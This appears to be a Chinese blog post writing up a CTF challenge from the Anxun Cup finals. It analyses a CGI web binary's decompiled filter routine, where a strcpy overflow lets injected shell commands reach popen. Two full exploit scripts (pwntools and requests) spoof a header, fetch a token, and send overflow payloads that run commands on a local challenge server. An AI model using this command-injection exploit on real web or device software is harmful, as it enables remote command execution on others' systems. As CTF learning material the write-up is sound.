安洵final
发表于:2022-01-07 |
字数统计: 1.3k | 阅读时长: 6分钟 | 阅读量:

安洵final

安洵杯线下赛的最后一题,webpwn当时没做出来,看了两三天+darry的帮助下才复现出来。

做这类题目需要认认真真的去分析,才能找到漏洞点,但认真分析就会很浪费时间,说到底还是太菜。

首先要做的就是如何正确的输入,从下面三张图片即可看出需要我们输入请求方式、文件名、任意

image-20220108111637961

image-20220108112409522

image-20220108112446637

下面这段代码自定义了一个头部X-Forword-For ,其后内容长度必须大于七,且必须是192.168.1.1~20

image-20220108112932471

image-20220108113108046

输入问题解决后,就得寻找漏洞了,一般的漏洞是目录穿越或者栈溢出。

从data段中找到了login.cgilogout.cgiwifictl.cgilogctl.cgi,这些是文件名,并且每个文件名对应一个函数。

下图是以’=‘,’?‘,’&‘三个符号将文件名分解

image-20220108121954428

sub_4034FD函数如下,a2是我们的输入,可以输入任意长度,并且复制给dest1[16 * i + 40]

image-20220108123226353

下图可以得出’?‘后应该跟ring_token

image-20220108115456348

我们先看看wifictl这个函数,这个函数会给我们显示时间

image-20220108124437931

漏洞点在logctl这个函数里,首先需要有一个token值,值是wifictl给出的时间。

image-20220108125007789

sub_402E56中,a2是我们的输入,任意长度,s接受输入的值,因此有溢出,我们就可以控制a3了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
__int64 __fastcall sub_402E56(__int64 a1, const char *a2, char *a3)
{
int v3; // eax
unsigned int v6; // [rsp+20h] [rbp-CE0h]
int i; // [rsp+24h] [rbp-CDCh]
int k; // [rsp+24h] [rbp-CDCh]
int j; // [rsp+28h] [rbp-CD8h]
int v10; // [rsp+2Ch] [rbp-CD4h]
int v11[128]; // [rsp+30h] [rbp-CD0h] BYREF
char v12[128]; // [rsp+230h] [rbp-AD0h] BYREF
char s[1312]; // [rsp+2B0h] [rbp-A50h] BYREF
char v14[1304]; // [rsp+7D0h] [rbp-530h] BYREF
unsigned __int64 v15; // [rsp+CE8h] [rbp-18h]

v15 = __readfsqword(0x28u);
v6 = 0;
v10 = 0;
if ( a2 )
{
memset(s, 0, 0x514uLL);
memset(v14, 0, sizeof(v14));
memset(v12, 0, sizeof(v12));
memset(v11, 0, sizeof(v11));
strcpy(v12, "$;`'&|<>^\n\r");
strcpy(s, a2);
for ( i = 0; i < strlen(s); ++i )
{
for ( j = 0; j < strlen(v12); ++j )
{
if ( s[i] == v12[j] )
{
v11[i] = 1; // v11[i]表示有和上面相同的符号
break;
}
}
}
for ( k = 0; k < strlen(v12); ++k )
{
if ( v11[k] == 1 )
{
v3 = v10++;
v14[v3] = v12[k];
v6 = 1;
}
}
strcpy(a3, v14);
}
return v6;
}

v5被我们控制后,popen函数会调用execve函数执行参数,因此我们就可以直接写/bin/sh了。

在使用pwntool模块时,我们需要注意下在写参数时需要进行url编码,所以得将空格换成%20或+。使用request模块则不需要。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import requests
io=remote('127.0.0.1','10000')
context.log_level='debug'
payload = 'GET /wifictl.cgi?ring_token=1 HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n'
io.sendline(payload)
io.recvuntil('now time is ')
time=io.recvuntil('.')[:-1]
print(time)
io.close()

io=remote('127.0.0.1','10000')
context.log_level='debug'
#cmd = 'a;'+'a'*1311+"/bin/cat /flag > a;"
cmd = 'a;'+'a'*1311+'/bin/ls+/+>+/var/www/html/a;'
payload = 'GET /logctl.cgi?ring_token={0}&aa={1} HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n'.format(int(time)+1,cmd)
io.sendline(payload)
io.recvline()
io.close()

io=remote('127.0.0.1',10000)
context.log_level='debug'
payload = 'GET /a HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n'
io.sendline(payload)
io.recvline()
io.close()
#io.interactive()

request模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# import getopt
# import sys
import warnings
import requests
import re
# import json
import socket
import socks
#socks.setdefaultproxy(socks.HTTP, "127.0.0.1", 8080)
#socket.socket = socks.socksocket
#context.log_levle='debug'

def exp(url):
if url[len(url) - 1] != '/':
print("[-] Target URL Format Error,The last char in url must be '/'.")
return False

warnings.filterwarnings('ignore')
s = requests.session()
s.verify = False
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
'X-Forword-For': '192.168.1.1'
}

try:
# print("[+] login...")
ret = s.get("{}wifictl.cgi?ring_token=1".format(url), headers=header, timeout=8)
print(s)
if ret.status_code == 200:
if "now time is" in ret.content.decode():
time_ret = re.search(r"now time is (.+?)\.\n",ret.content.decode())
if time_ret is None:
print("[-] time_ret re error, cannot get time")
return False
else:
now_time = time_ret.group(1)
print("[+] now time is " + now_time)
else:
print("[-] time_ret re error, cannot get time")
return False
else:
print("[-] status_code error, cannot get time")
return False

cmd = "a;" + "a"*1311 + "/bin/cat /flag >/var/www/html/flag;"
new_url = "{}logctl.cgi?ring_token={}&aa={}".format(url, int(now_time)+1, cmd)
ret = s.get(new_url, headers=header, timeout=8)

# if ret.status_code == 200:
# print(ret.content.decode())
# else:
# print("[-] status_code error, cannot get flag")
# return False
ret = s.get("{}flag".format(url), headers=header, timeout=8)
if ret.status_code == 200:
print(ret.content.decode())
else:
print("[-] status_code error, cannot get flag")
return False

cmd = "a;" + "a"*1311 + "rm /var/www/html/flag;"
new_url = "{}logctl.cgi?ring_token={}:1&aa={}".format(url, int(now_time)+1, cmd)
ret = s.get(new_url, headers=header, timeout=8)
if ret.status_code == 200:
return True
else:
print("[-] status_code error, cannot rm flag")
return False

except Exception as reason:
if 'timed' in repr(reason) or 'timeout' in repr(reason):
print('[-] Fail, can not connect target for: timeout')
return False
else:
print('[-] Fail, can not connect target for: {}'.format(repr(reason)))
return False


exp("http://127.0.0.1:10000/")
上一篇:
长安战疫pwn
下一篇:
年终总结